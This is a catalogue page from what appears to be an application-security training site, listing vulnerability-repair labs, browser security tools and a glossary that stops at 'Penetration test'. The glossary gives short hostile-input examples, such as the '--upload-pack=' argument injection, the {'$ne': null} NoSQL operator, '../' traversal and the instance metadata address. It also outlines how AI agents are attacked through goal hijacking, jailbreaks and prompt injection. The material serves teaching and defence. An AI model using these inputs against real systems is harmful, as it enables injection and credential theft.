An assistant receives approval to export one report, then substitutes a different report and destination. Repair the tool gateway that authorizes the final action.AI security · Foundation · 20–30 min · Runs in your browser

XSS lab: Render a model’s answer as text instead of active markup

A report page shows generated answers with a link to the cited source. The renderer inserts both as HTML, so an answer containing an image handler becomes active markup and a javascript: source becomes a clickable script. Repair the text serializer and the DOM renderer.

Projects 22

AppSec · Node.js 22+ · npm · 14 tests

Secure a real HTTP API

Run Express requests with real signed tokens. Repair invoice authorization and stop user-controlled properties from changing roles or tenants.AppSec · Python 3.11+ · standard library · 3 tests

Make a checkout transaction atomic

Reproduce two competing withdrawals against SQLite, then repair the transaction so funds cannot be spent twice.AppSec · Python 3.11+ · standard library · 7 tests

Keep extracted files inside their boundary

Inspect actual ZIP entries and repair a path policy. Test traversal, links, duplicate entries, expansion limits and ordinary nested files.AppSec · Python 3.13+ · Expat 2.6.0+ · standard library · 24 tests

Parse bounded JSON and XML invoices safely

Repair a real JSON/XML parser boundary: reject duplicate fields, coercion, unknown schema, DTDs and oversized documents while keeping valid invoices usable.AppSec · Clang + Python 3.11+ · 11 tests

Repair a native parser using sanitizer evidence

Compile a C parser with AddressSanitizer, observe a real out-of-bounds access, and repair allocation, length and output-capacity checks against boundary tests and 80 generated frames.AppSec · Node.js 22+ · no dependencies · 18 tests

Stop prototype pollution at merge and authorization boundaries

Observe real prototype mutation from nested JSON merges, then repair schema selection, own-property authorization and arbitrary-key dictionaries without breaking valid updates.AppSec · Node.js 22+ · no dependencies · GitHub Actions and GitLab CI YAML · 13 tests

Repair a security pipeline for GitHub Actions and GitLab CI

Repair two pipelines that run gitleaks, Semgrep, OSV-Scanner, Trivy and cosign but cannot fail and trust pull requests, until every action is pinned to a commit SHA, every image to a digest, gates block and only the main branch signs the pushed digest.AppSec · Swift 6 · Xcode 16+ · iOS Simulator · 19 tests

Keep an iOS app's storage, links and web bridge in bounds

Repair a SwiftUI banking app until its XCTest suite passes in the iOS Simulator: Keychain storage, App Transport Security in the built Info.plist, link handling and a WKWebView bridge.AppSec · Kotlin · Android Gradle Plugin 9.4 · Robolectric 4.17 · Docker · 20 tests

Repair an Android app's links, components, network policy and storage

Repair a Kotlin banking app until its Robolectric tests and Android Lint pass in a pinned SDK container: links and intent redirection, exported screens, network security configuration and Keystore-encrypted storage.AppSec · Node.js 22.12+ · npm · Electron 44 · 33 tests

Stop untrusted pages from using an Electron bridge

Run a real Electron notes app whose preload passes any IPC channel through and whose main process trusts every sender. Repair the sandbox, the contextBridge API, the sender and payload checks, navigation and window rules, the CSP and permissions until a link, a foreign page or injected script can no longer write files or launch programs.AppSec · Node.js 22+ · no dependencies · 13 tests

Recover from failed firmware updates with A/B slots

Repair the update client and bootloader of a simulated dual-slot device: Ed25519-signed manifests, a monotonic anti-rollback floor, writes to the inactive slot, trial boots with automatic fallback and authenticated recovery. The tests inject bad signatures, signed rollbacks, power loss at every flash write and images that never confirm, and write an evidence file of each failure and the boot that followed.AppSec · Python 3.11+ offline · Docker for the live tests · 12 tests

Convert untrusted documents in a locked-down container

Repair a document worker that drives LibreOffice and Ghostscript in Docker, until a zip bomb and DTD payloads stop at preflight, the container has no network or writable root, and a hung conversion is killed with its container.Supply chain · Node.js 22+ · no dependencies · 20 tests

Build and verify a signed software release

Build a real executable, generate an SBOM and DSSE-signed in-toto provenance, then repair the consuming gate so a valid signature cannot approve the wrong source, builder or release.Runtime & cloud · Node.js 22+ · loopback servers · no dependencies · 12 tests

Repair a real proxy and shared cache

Reproduce a private-response leak, repair cache policy and verify HTTP framing with real origin/proxy servers and raw socket requests.Runtime & cloud · Node.js 22+ offline · kind/Docker/kubectl for live cluster · 12 tests

Verify Kubernetes admission and network boundaries

Repair warning-only admission and an overbroad network rule, then apply them to a disposable cluster and probe allowed and denied paths.Runtime & cloud · OpenSCAP 1.4.4 and SSG 0.1.82 in Docker · 12 tests

Gate an image build on a CIS scan and a deviation register

Repair a CI gate that reads a real OpenSCAP scan of ubuntu:24.04 against the CIS Level 1 Server profile, until unregistered failures, errors, expired deviations and scans of the wrong profile or content version fail the build.Identity & crypto · Node.js 22+ · no dependencies · 10 tests

Bind ciphertext to the correct record

Use Web Crypto AES-GCM to reject tampered ciphertext and cross-tenant record transplants. Repair authenticated context binding.Identity & crypto · Node.js 22+ · npm · 24 tests

Verify tokens through rotation and revocation

Operate a real loopback JWKS endpoint and signed-token API. Repair issuer, audience, purpose and session checks, then test planned rotation, stale key caches and emergency revocation.Identity & crypto · Python 3.11+ · standard library · 18 tests

Prove deprovisioning reaches sessions and queued work

Repair a durable SQLite identity lifecycle model. Disable current sessions/tokens, remove group-derived authority, cancel pending jobs, and handle duplicate, stale and interrupted changes without crossing tenant boundaries.AI security · Python 3.11+ · standard library · 25 tests

Enforce retrieval and tool boundaries across crashes

Repair a two-tenant retrieval application and SQLite approval/outbox workflow. Prevent cross-tenant context, bind exact approvals, revoke queued work and recover a committed side effect without duplication.AI security · Python 3.11+ · standard library · 28 tests

Gate model and provider changes on a versioned red-team corpus

Run a versioned adversarial corpus many times per case, judge each trial by the secrets, tool calls, egress and spend it produced rather than the reply text, and fail a model change on per-case regressions with confidence intervals.AI security · Python 3.11+ offline · Docker for the live tests · 13 tests

Run model-generated Python in a locked-down container

Repair an agent's run-Python tool until it refuses to fall back to the host, shares no folder with it, runs each job offline with memory, CPU and process limits, kills the container at the deadline and checks the result envelope the code could have forged.

Tools 11

Supply chain · Runs in your browser

SBOM checker

Check a CycloneDX or SPDX JSON SBOM for missing versions, suppliers, hashes and broken references. Runs in your browser; nothing is uploaded.Standards

Identifier lookup

Paste a CWE, OWASP Top 10, API, LLM or Agentic Top 10 or ASVS ID from a scanner or report and go straight to its page.Identity & crypto · Runs in your browser

JWT inspector

Decode a JWT, flag alg none, key confusion, weak HMAC secrets, risky kid, jku and jwk headers and missing or expired claims, and verify HS256, RS256, ES256 or Ed25519 signatures.AppSec · Runs in your browser

CSP evaluator

Check a Content Security Policy for unsafe-inline, unsafe-eval, wildcards and broad schemes, missing object-src, base-uri and frame-ancestors, and weak reporting.AppSec · Runs in your browser

Security headers analyzer

Check pasted response headers: HSTS, CSP, X-Content-Type-Options, framing, Referrer-Policy, Permissions-Policy, COOP, COEP, CORP, caching and Set-Cookie attributes.Governance · Runs in your browser

CVSS v4.0 calculator

Score CVSS v4.0 vectors with Base, Threat, Environmental and Supplemental metrics. Paste or build a vector; scores match FIRST’s reference calculator.AppSec · Runs in your browser

ReDoS checker

Find nested quantifiers, ambiguous alternatives, adjacent overlapping repeats and unanchored leading repeats in a regex, and time it against generated attack strings.AppSec · Runs in your browser

security.txt validator

Validate a security.txt file against RFC 9116 and the IANA field registry: Contact, Expires, Preferred-Languages, https URIs, Canonical, CSAF and the OpenPGP signature wrapper.Supply chain · Runs in your browser

OSV dependency lookup

Read package-lock.json, requirements.txt, poetry.lock, go.sum, Gemfile.lock, composer.lock or an SBOM locally, then check the exact versions against OSV.dev once you approve the request.Supply chain · Runs in your browser

GitHub Actions workflow analyzer

Check a pasted workflow for pull_request_target and workflow_run checkouts, ${{ }} injection in run steps, tag-pinned actions, broad GITHUB_TOKEN permissions, secrets: inherit, persisted credentials, self-hosted runners and cache poisoning.Governance · Runs in your browser

ASVS 5.0 checklist export

Export the 345 OWASP ASVS 5.0.0 requirements as a CSV or JSON checklist, filtered by level (L1, L2 or L3) and chapter, with official IDs and the CC BY-SA 4.0 attribution.

Glossary terms 271

ABAC (Attribute-based access control)

Each request is decided by a policy over attributes of the subject, the resource, the action and the environment, such as department, data classification or time.

Abuse case

A scenario written from an attacker’s or misuser’s point of view that describes how a feature could be abused, such as replaying a coupon or enumerating accounts, so the team can derive security requirements and tests from it.

Access token

A credential that an OAuth client presents to a resource server to call an API (RFC 6749).

ACME (Automatic Certificate Management Environment)

A protocol with which a client proves control of a domain, usually through an HTTP-01 or DNS-01 challenge, and obtains and renews certificates without manual steps, as with Let’s Encrypt.

AddressSanitizer

A compiler instrumentation in Clang and GCC that detects out-of-bounds accesses, use-after-free, double free and other memory errors at run time, with about a twofold slowdown.

Admission controller

A Kubernetes component that intercepts API server requests after authentication and authorization and can reject or modify objects before they are stored.

AEAD (Authenticated encryption with associated data)

It encrypts the plaintext for confidentiality and authenticates both the ciphertext and associated data sent in the clear, so decryption fails if either was changed (RFC 5116).

AES-GCM (AES in Galois/Counter Mode)

It is the most widely used AEAD, and every message under one key needs a unique 96-bit nonce: a repeated nonce exposes the XOR of the two plaintexts and lets an attacker forge tags, and with random nonces one key should encrypt at most 2^32 messages.

Agent goal hijack

An attack that redirects an AI agent’s objectives, task selection or plan through injected instructions, deceptive tool output, forged messages from other agents or poisoned data, so the agent pursues the attacker’s goal with its own permissions across many steps (OWASP ASI01:2026).

AI agent

An application in which a language model plans and takes actions through tools, such as calling APIs, running code or browsing, over several steps with little human review.

AI RMF (NIST AI Risk Management Framework)

A voluntary framework for managing the risks of AI systems through four functions: Govern, Map, Measure and Manage.

Allowlist

A list of explicitly permitted values, patterns, destinations or types; anything not on it is rejected.

API (Application programming interface)

A defined boundary through which another component requests data or behavior; authorization must be enforced at that boundary.

Argon2

A memory-hard password hashing function and the winner of the Password Hashing Competition (RFC 9106).

Argument injection

Untrusted input is passed to a program as an argument that the program reads as an option, such as a value beginning --output= or --upload-pack=, even when no shell is involved (CWE-88).

ASPM (Application security posture management)

A tool category that collects findings from SAST, SCA, secrets, IaC and DAST scanners, removes duplicates and ranks them by owner and risk; it detects nothing its scanners miss.

ASVS (OWASP Application Security Verification Standard)

Version 5.0.0 (May 2025) lists 345 testable requirements in 17 chapters across three levels; cite each with its version, as in v5.0.0-1.2.5.

Attack surface

Every point where an attacker can try to send data into a system, get data out of it or act on it: endpoints, inputs, files, interfaces, dependencies, and the people and services with access.

Attack tree

A diagram with an attacker’s goal at the root and the ways to reach it as branches joined by AND and OR nodes, described by Bruce Schneier in 1999.

Attestation

Signed evidence about a subject that a verifier can check.

Audit log

An append-only record of security-relevant actions: who did what, to which resource, when, from where and with what result.

Authentication

Establishing a subject’s identity or the authenticity of a claim.

Authorization

Deciding whether a specific subject may perform a particular action on a resource in the current context.

bcrypt

A password hashing function based on the Blowfish cipher, with a work factor that sets its cost (Provos and Mazières, 1999).

Bearer token

A token that grants access to whoever presents it, without proof of possession of a key (RFC 6750).

BFLA (Broken function level authorization)

An API lets a caller invoke an operation that their role should not reach, such as an administrative endpoint or another HTTP method on the same resource, because the check is missing or enforced only in the user interface.

BOLA (Broken object level authorization)

An API accepts an object identifier without checking that the caller may perform the requested action on that object.

BSIMM (Building Security In Maturity Model)

A descriptive study of the software security activities that real organizations perform, grouped into 12 practices in four domains and updated about once a year; BSIMM16 (2026) draws on 111 organizations.

Buffer overflow

Writing past the end, or before the start, of a buffer, which corrupts adjacent memory (CWE-120; out-of-bounds writes are CWE-787, with CWE-121 and CWE-122 for stack and heap buffers).

Bug bounty

A program that pays external researchers for valid vulnerability reports within a published scope and rules.

Business logic flaw

A weakness in an application’s rules rather than in how it parses input, such as skipping a workflow step, reusing a one-time coupon or ordering a negative quantity, so valid-looking requests reach an outcome the business never intended (CWE-840).

Cache poisoning

Getting a shared cache to store a harmful entry under a key that others later read (CAPEC-141): a web cache that serves a malicious response to other users, usually because an unkeyed input such as a header changed it, or a CI cache that later builds restore.

Canonicalization

Converting input to one standard form before checking it, for example decoding percent-encoding, normalizing Unicode and resolving ../ segments in a path.

CAPEC (Common Attack Pattern Enumeration and Classification)

MITRE’s catalog of attack patterns, such as CAPEC-66 SQL Injection, which describe how attackers exploit weaknesses; it complements CWE, which catalogs the weaknesses themselves.

CBC (Cipher block chaining)

A block cipher mode in which each plaintext block is XORed with the previous ciphertext block before encryption, starting from an unpredictable IV.

Certificate

An X.509 certificate: a data structure signed by a certificate authority that binds a public key to a subject name and other attributes for a validity period (RFC 5280).

Certificate authority

An organization or service trusted to issue, sign and revoke certificates after validating the requester’s control of a name or identity.

Certificate Transparency

A system of public, append-only logs of issued certificates (RFC 6962), so domain owners can detect certificates issued for their names without their knowledge.

ChaCha20-Poly1305

An AEAD that combines the ChaCha20 stream cipher with the Poly1305 authenticator (RFC 8439).

CIEM (Cloud infrastructure entitlement management)

Tools that read cloud IAM policies, role trust and activity logs to find unused or excessive permissions and privilege escalation paths, so each identity can be cut back to what it uses.

Clickjacking

A page loads the target site in a hidden or disguised frame and tricks the user into clicking it (CWE-1021).

CNA (CVE Numbering Authority)

An organization authorized by the CVE Program to assign CVE IDs and publish CVE records within an agreed scope, such as a vendor for its own products or GitHub for open source projects that request one.

CNAPP (Cloud-native application protection platform)

A product that combines cloud posture management (CSPM), workload protection (CWPP) and often entitlement, data and code findings, and correlates them into attack paths; it inherits each component’s blind spots.

Code injection

Untrusted input becomes code that the application evaluates or compiles, as with eval, exec, dynamic imports or expression languages (CWE-94).

Code signing

Signing software so that users and systems can verify who published it and that it has not changed since.

Command injection

OS command injection (CWE-78).

Compensating control

A control used instead of one that a standard or policy requires but that cannot be met, which must address the same risk to at least the same degree.

Computer use

An AI agent capability in which the model operates a desktop or browser through screenshots, clicks and keystrokes.

Confused deputy

A privileged component is tricked into using its own authority for a less privileged caller (CWE-441).

CORS (Cross-Origin Resource Sharing)

The Fetch Standard protocol in which a server’s Access-Control-Allow-* response headers let pages from other origins read its responses, relaxing the same-origin policy.

CPE (Common Platform Enumeration)

NIST’s structured naming scheme for products (cpe:2.3:part:vendor:product:version and further fields), which the NVD uses to state what a CVE affects.

CRA (Cyber Resilience Act)

EU law setting cybersecurity requirements for products with digital elements.

Credential stuffing

Automated login attempts with username and password pairs leaked from other sites, which succeed wherever people reused passwords (MITRE ATT&CK T1110.004).

CRL (Certificate revocation list)

A list, signed and published by a certificate authority, of the serial numbers of certificates it revoked before they expired.

CRLF injection

Carriage-return and line-feed characters in untrusted input end a line where the application did not expect one, letting an attacker add HTTP headers or split a response (CWE-113) or forge log entries (CWE-117); CWE-93 is the general class.

CSAF (Common Security Advisory Framework)

A machine-readable format for security advisories, with a VEX profile that states whether products are affected by a vulnerability.

CSIRT (Computer security incident response team)

A team that receives, analyzes and coordinates the response to security incidents for an organization, a sector or a country.

CSP (Content Security Policy)

A response header telling the browser which sources of scripts, styles, images and other content a page may load or run.

CSPM (Cloud security posture management)

Tools that read cloud control-plane APIs and configuration to find public storage, open administrative ports, disabled logging and other benchmark failures; they do not see what runs inside a workload.

CSPRNG (Cryptographically secure pseudorandom number generator)

Its output cannot feasibly be predicted, even by someone who has seen earlier output, so it is the source for keys, nonces, salts, session IDs and reset tokens.

CSRF (Cross-site request forgery)

Another site makes the victim’s browser send an authenticated request the user did not intend.

CVD (Coordinated vulnerability disclosure)

The process in which the finder of a vulnerability, the affected vendors and any coordinators share information privately, prepare fixes and publish advisories on an agreed schedule, often within 90 days.

CVE (Common Vulnerabilities and Exposures)

An identifier and record for a publicly disclosed vulnerability, assigned by a CVE Numbering Authority; an identifier alone does not establish your exposure.

CVSS (Common Vulnerability Scoring System)

It scores technical severity from 0 to 10, not the likelihood of exploitation or the risk to a particular business.

CWE (Common Weakness Enumeration)

MITRE’s catalog of software and hardware weakness types, such as CWE-79 for cross-site scripting, distinct from records of particular vulnerabilities.

CWPP (Cloud workload protection platform)

Tools that protect running virtual machines, containers and functions through an agent, an eBPF sensor or disk snapshots: vulnerable packages, malware and runtime attacks.

CycloneDX

A bill-of-materials standard maintained by OWASP and published by Ecma International as ECMA-424, covering SBOMs and inventories of services, cryptography and machine-learning models, with built-in support for VEX.

Dangling DNS

A DNS record, usually a CNAME, an A record or an NS delegation, that still points to a cloud resource, address or zone that has been deleted or released.

DAST (Dynamic application security testing)

Tools test a running application from outside by sending crafted requests and observing the responses, as ZAP does.

Data binding

A framework feature that copies request parameters onto an object by property name, including nested property paths.

Data flow

The movement of information among actors, processes, stores, and external systems.

Data minimization

Collecting, keeping and exposing only the personal data needed for a stated purpose (GDPR Article 5(1)(c)).

Data poisoning

Manipulating training, fine-tuning or retrieval data to degrade a model or plant behavior that chosen inputs trigger (OWASP LLM05:2026).

Defense in depth

Independent controls at different boundaries that reduce reliance on a single mechanism.

DEK (Data encryption key)

The key that encrypts the data itself in envelope encryption, typically generated for each object, file or tenant and stored beside the data only in wrapped, that is encrypted, form.

Denial of service

Making a service unavailable to legitimate users by exhausting a resource such as CPU, memory, connections, disk or a paid quota, or by crashing it (CWE-400).

Dependency

A component required to build or operate software.

Dependency confusion

An attacker publishes a package to a public registry under the name of an organization’s internal package, usually with a higher version, and an installer that consults both registries fetches the public one.

DevSecOps

Building security practices and automated checks into DevOps delivery, so security work happens in the same pipelines and teams that build and run the software rather than as a gate at the end.

Differential privacy

A mathematical guarantee that the result of an analysis, or a model trained on data, changes very little whether or not any one person’s data is included, bounded by a privacy-loss parameter epsilon; a smaller epsilon means stronger privacy and noisier results.

Digital signature

A public-key mechanism used to verify the origin and integrity of a signed message under defined assumptions.

DOM-based XSS

Cross-site scripting in which client-side script takes attacker-controlled data from a source such as location.hash or a postMessage event and writes it to a dangerous sink such as innerHTML or eval, so the payload may never reach the server.

DORA (Digital Operational Resilience Act)

It sets ICT risk management, incident reporting, resilience testing and ICT third-party risk rules for EU financial entities, including contract terms and a register of information for their ICT providers, and applies from 17 January 2025.

DPoP (Demonstrating Proof of Possession)

An OAuth client signs a short-lived proof JWT for each request with its own private key, and the authorization server binds the tokens it issues to that key, so a stolen access or refresh token is useless without the key.

DSPM (Data security posture management)

Tools that sample cloud storage and databases to find where sensitive data lives, how it is classified and which identities and networks can reach it.

DSSE (Dead Simple Signing Envelope)

A signature format that signs an arbitrary payload together with its payload type, so a signature over one kind of document cannot be passed off as another; in-toto attestations travel in DSSE envelopes.

ECB (Electronic codebook)

A block cipher mode that encrypts each block independently with the same key, so identical plaintext blocks give identical ciphertext blocks and patterns in the data show through.

ECDHE (Elliptic-curve Diffie-Hellman ephemeral)

A key exchange in which each side generates a fresh elliptic-curve key pair for every handshake, as with X25519 in TLS 1.3 (RFC 9846), so the session keys have forward secrecy; a signature with the server’s certificate key authenticates the exchange.

ECDSA (Elliptic Curve Digital Signature Algorithm)

Each signature uses a secret per-signature nonce, and a repeated or biased nonce reveals the private key; deterministic nonces (RFC 6979) or EdDSA avoid that risk.

EdDSA (Edwards-curve Digital Signature Algorithm)

Its nonces are derived deterministically from the key and the message, which removes ECDSA’s nonce-reuse failure, and FIPS 186-5 approves it.

Embedding

A vector of numbers that a model computes to represent the meaning of text, images or other data, so that similar items lie close together.

Encryption

A keyed transformation intended to protect confidentiality.

Envelope encryption

Encrypting data with a data encryption key (DEK) and then encrypting, or wrapping, that DEK with a key encryption key (KEK) held in a KMS or HSM.

EPSS (Exploit Prediction Scoring System)

It estimates the probability that a published CVE will be exploited in the wild in the next 30 days; combine it with exposure, impact and evidence of known exploitation.

EU AI Act

Regulation (EU) 2024/1689, the EU’s Artificial Intelligence Act.

Excessive agency

An LLM application or agent can take damaging actions because its tools have more functionality, permission or autonomy than the task needs (OWASP LLM03:2026).

Expression language injection

Untrusted input becomes part of an expression in a language such as Spring Expression Language (SpEL), OGNL or Jakarta Expression Language, which can call methods and create objects, so the attacker runs code (CWE-917).

Fail closed

When an authorization or validation decision cannot safely be completed, the protected operation is refused instead of implicitly allowed.

FedRAMP (Federal Risk and Authorization Management Program)

The US government program for assessing and authorizing the cloud services that federal agencies use, based on NIST SP 800-53 controls.

FIDO2

The FIDO Alliance’s specifications for passwordless, phishing-resistant authentication: W3C WebAuthn for the browser and platform API, and CTAP for talking to external authenticators such as security keys.

Fine-tuning

Further training a pre-trained model on a smaller dataset to adapt it to a task, domain or style.

Forward secrecy

A property of a key exchange in which a later compromise of long-term keys does not expose past session keys, because each session uses ephemeral keys that are then discarded.

Fuzzing

Automated testing that feeds a program large numbers of generated or mutated inputs and watches for crashes, sanitizer reports, hangs or broken invariants.

GDPR (General Data Protection Regulation)

EU law on processing personal data: Article 25 requires data protection by design and by default, Article 32 requires security appropriate to the risk, and Article 33 requires notifying the supervisory authority of a personal data breach within 72 hours where feasible.

Guardrail

A control placed around a model that checks or constrains its inputs and outputs, such as a prompt-injection classifier, a content filter or a schema validator.

Hash function

A function mapping inputs of any length to fixed-size digests.

Hidden context exposure

The extraction, inference or reconstruction of what an LLM application puts in the model’s context but does not show users, such as the system prompt, developer instructions, tool schemas and retrieved policy text (OWASP LLM08:2026, which replaced System Prompt Leakage).

HKDF (HMAC-based Extract-and-Expand Key Derivation Function)

It extracts a uniformly random key from input keying material, optionally with a salt, then expands it into as many keys as needed, with an info string binding each key to its purpose.

HMAC (Hash-based message authentication code)

A tag computed from a message, a shared secret key and a cryptographic hash.

HSM (Hardware security module)

A tamper-resistant device or service that generates, stores and uses cryptographic keys so that private keys cannot be exported in plaintext; its FIPS 140-3 validation level states how much physical and logical protection it provides.

HSTS (HTTP Strict Transport Security)

A response header with which a site tells browsers to connect to it only over HTTPS for max-age seconds, optionally including subdomains, which stops downgrades to plain HTTP after the first visit; the browsers’ preload list covers the first visit too.

HttpOnly

A cookie attribute that stops scripts in the page from reading the cookie through document.cookie (RFC 6265); a sensitive cookie without it is CWE-1004.

IaC (Infrastructure as code)

Machine-readable definitions used to provision and configure infrastructure, which require review of both source and resulting deployment plans.

IAM (Identity and access management)

The policies, processes and systems that create, change and remove identities and decide what they can access; in a cloud platform, the IAM service evaluates every API call against identity and resource policies.

IAST (Interactive application security testing)

An agent inside the running application observes data flow while tests or real traffic exercise it, combining the code-level detail of SAST with the runtime evidence of DAST; it covers only the code that is exercised.

ID token

A JWT that an OpenID Connect provider issues to the client to say who signed in, when and how (OpenID Connect Core 1.0).

Idempotency key

A unique value that a client sends with a request that must not take effect twice, such as a payment, so the server performs the operation once and returns the stored result when the request is retried with the same key.

Identity provider

A service that authenticates users and issues assertions or tokens about them to the applications that rely on it, such as an OpenID provider or a SAML identity provider.

IDOR (Insecure direct object reference)

Common shorthand for missing authorization around a user-controlled object identifier.

IMDS (Instance metadata service)

A link-local HTTP endpoint, 169.254.169.254 on the major clouds, through which a virtual machine reads its configuration and temporary credentials.

in-toto

A framework for securing software supply chains with signed metadata about each step (who performed it, on which inputs and producing which outputs), so a verifier can check that the steps of a defined layout were followed.

Incident response

The organized handling of a security incident: preparing, detecting and analyzing it, containing, eradicating and recovering, and learning lessons afterward.

Indirect prompt injection

Prompt injection delivered through content the model reads rather than through the user’s own input, such as a web page, an email, a document, a tool result or a retrieved chunk.

Information disclosure

Exposure of sensitive information to someone not authorized to see it (CWE-200), such as stack traces, configuration, source code, version details or personal data.

Ingress controller

The Kubernetes component that reads Ingress (or Gateway API) objects and configures a proxy to route outside traffic to services in the cluster.

Input validation

Checking at a trust boundary that input has the expected type, length, range, format or allowed values before using it, preferably with allowlists and after canonicalization.

Insecure deserialization

Rebuilding objects from attacker-controlled bytes with a format that can create arbitrary types or run code, such as Python pickle or Java serialization (CWE-502).

Integer overflow

An arithmetic result exceeds the range of its integer type and wraps around or is truncated (CWE-190).

Integrity

Assurance that data or behavior has not been altered contrary to the system’s rules.

ISO/IEC 27001

The international standard for an information security management system (ISMS).

IV (Initialization vector)

A per-message input to a block cipher mode that makes identical plaintexts encrypt differently.

Jailbreak

An input crafted to make a model ignore its safety training or system instructions, for example through role-play, obfuscation or many examples, so that it produces content or actions it should refuse.

JWKS (JSON Web Key Set)

A JSON document of public keys that a verifier fetches from a trusted issuer configuration to check token signatures; the verifier needs an explicit key-refresh policy.

JWT (JSON Web Token)

A compact, usually signed, container of claims.

KDF (Key derivation function)

A function that derives one or more cryptographic keys from a secret input such as a shared secret, a master key or a password.

KEK (Key encryption key)

A key used only to encrypt, or wrap, other keys such as data encryption keys; it usually stays inside a KMS or HSM, and rotating it means rewrapping the keys it protects, not re-encrypting the data.

KEV (Known Exploited Vulnerabilities catalog)

It lists CVEs with reliable evidence of exploitation in the wild and clear remediation guidance; US federal civilian agencies must fix them on deadlines set by BOD 26-04.

Key rotation

Replacing a cryptographic key with a new one on a schedule, its cryptoperiod, or after a suspected compromise, while keeping old keys available to decrypt or verify existing data until it is re-encrypted or expires.

KMS (Key management service)

A managed service, such as AWS KMS, Google Cloud KMS or Azure Key Vault, that creates and stores keys, often in HSMs, and performs encryption, decryption, signing and key wrapping under access policies with audit logs, so applications never handle the key material.

LDAP injection

Untrusted input changes the meaning of an LDAP search filter or distinguished name (CWE-90), letting an attacker bypass a login check or read other directory entries.

Least privilege

Granting only the permissions needed for the intended task, for the required duration and scope.

LINDDUN

A privacy threat modeling framework from KU Leuven, named for its threat categories: linking, identifying, non-repudiation, detecting, data disclosure, unawareness and unintervenability, and non-compliance.

LLM (Large language model)

A neural network, usually a transformer, trained on large text corpora to predict the next token, which applications prompt to produce text, code or tool calls.

Lockfile

A file written by a package manager, such as package-lock.json, poetry.lock or Cargo.lock, that records the exact resolved version, and usually a checksum, of every direct and transitive dependency.

Log injection

Untrusted input written to a log forges entries, breaks log parsers, or injects markup or lookup expressions into the tools that read the log (CWE-117).

MAC (Message authentication code)

A short tag computed from a message and a secret key, which the receiver recomputes to detect any change and to confirm that a holder of the key sent it; HMAC, CMAC and the tags of AEAD modes are MACs.

Mass assignment

An API copies request fields straight into an object, so a caller can set properties they should not, such as a role or a price (CWE-915, part of OWASP API3:2023).

MASVS (OWASP Mobile Application Security Verification Standard)

It sets security requirements for mobile apps in eight control groups (storage, cryptography, authentication, network, platform, code, resilience and privacy), and the companion MASTG explains how to test them.

MCP (Model Context Protocol)

An open protocol connecting AI applications (clients) to servers that expose tools, resources and prompts.

Membership inference

An attack that infers whether a particular record was in a model’s training data (MITRE ATLAS AML.T0024.000).

Memory poisoning

Corrupting what an AI agent keeps and reuses across sessions, such as saved memories, conversation summaries, embeddings or retrieval stores, so that an attacker’s instruction or false fact steers later reasoning or tool use (OWASP ASI06:2026 Memory & Context Poisoning; MITRE ATLAS AML.T0080).

Memory safety

Freedom from memory-access errors such as out-of-bounds reads and writes, use-after-free and double free.

MFA (Multi-factor authentication)

Authentication that requires two or more different kinds of factor: something you know, something you have and something you are.

MITRE ATLAS (Adversarial Threat Landscape for Artificial-Intelligence Systems)

MITRE’s knowledge base of tactics and techniques used against AI-enabled systems, modeled on ATT&CK and supported by case studies; technique IDs look like AML.T0051, LLM Prompt Injection.

MITRE ATT&CK

A knowledge base of adversary tactics and techniques observed in real intrusions, such as T1078 Valid Accounts and T1195 Supply Chain Compromise, used to plan detections, describe incidents and test defenses.

ML-DSA (Module-Lattice-Based Digital Signature Algorithm)

A post-quantum signature scheme derived from CRYSTALS-Dilithium, whose public keys and signatures are much larger than ECDSA’s, which matters for certificates and constrained protocols.

ML-KEM (Module-Lattice-Based Key-Encapsulation Mechanism)

A post-quantum scheme derived from CRYSTALS-Kyber for establishing a shared secret; TLS deployments pair ML-KEM-768 with X25519 in the hybrid X25519MLKEM768 group, which stays secure if either component holds.

Model extraction

Building a functionally similar copy of a model, or recovering its parameters, by querying it at scale and training on the answers (MITRE ATLAS AML.T0024.002).

Model inversion

Reconstructing sensitive features of training data, such as a face or a record’s attributes, from a model’s outputs or confidence scores (MITRE ATLAS AML.T0024.001).

mTLS (Mutual TLS)

TLS in which the client also presents a certificate and proves possession of its private key, so both ends authenticate each other; it is common between services and binds OAuth tokens to a client certificate in RFC 8705.

NIS2

The EU directive on a high common level of cybersecurity, Directive (EU) 2022/2555.

Nonce

A value used only once within the scope a cryptographic construction requires.

NoSQL injection

Untrusted input changes the structure of a NoSQL query, for example a JSON object such as {"$ne": null} where the code expected a string, which turns an equality test into an operator (CWE-943).

NULL pointer dereference

A program uses a pointer that is NULL as if it pointed to valid memory (CWE-476).

NVD (National Vulnerability Database)

It enriches CVE records with CVSS scores, CWE mappings and CPE applicability data; since 2024 a large backlog has left many records without that enrichment, so use other sources as well.

OAuth

OAuth 2.0, the authorization framework (RFC 6749) with which a user lets a client application obtain limited, scoped access tokens for an API without sharing credentials.

OCSP (Online Certificate Status Protocol)

A client asks a CA’s responder whether a certificate has been revoked, or the server staples a recent signed response to its handshake.

OIDC (OpenID Connect)

An identity layer on OAuth 2.0: the provider issues an ID token telling the client who signed in, when and how.

Open redirect

An application redirects to a URL taken from the request without validating it (CWE-601), so attackers can borrow its domain for phishing or to capture OAuth codes and tokens.

Origin

A browser security boundary defined by a URL’s scheme, host and port (RFC 6454).

OSPS Baseline

The OpenSSF Open Source Project Security Baseline: a minimum set of security controls for an open-source project in three maturity levels, covering access control, build and release, documentation, governance, legal, quality, security assessment and vulnerability management.

OSV (Open Source Vulnerabilities)

A JSON schema, and a database at osv.dev, that records vulnerabilities by package ecosystem and affected version ranges, aggregating sources such as GitHub Security Advisories, PyPI and the Go vulnerability database, so scanners can match lockfile versions precisely.

Out-of-bounds read

Reading memory before the start or past the end of a buffer (CWE-125), which can disclose secrets such as private keys or reveal memory layout that helps another exploit; Heartbleed (CVE-2014-0160) was one.

Output encoding

Converting data into a safe form for the exact context it is written into, such as HTML entity encoding for element text or JavaScript string escaping inside a script, so the interpreter treats it as data.

Padding oracle

An observable difference in decryption handling that can expose information about encrypted data.

Parameter binding

Providing data values separately from a fixed query statement through a database driver.

Passkey

A FIDO credential that replaces a password: a key pair bound to one site’s relying-party ID, whose private key stays in an authenticator or is synced by a credential manager and signs each WebAuthn sign-in challenge.

Path traversal

Input such as ../ escapes the intended directory when an application builds a file path from it (CWE-22).

PBKDF2 (Password-Based Key Derivation Function 2)

It applies a pseudorandom function, usually HMAC-SHA-256, many times to a password and salt.

PCI DSS (Payment Card Industry Data Security Standard)

Requirements from the PCI Security Standards Council for entities that store, process or transmit cardholder data; version 4.0.1 (June 2024) is current, and Requirement 6 covers secure development and the vulnerability management of software.

Penetration test

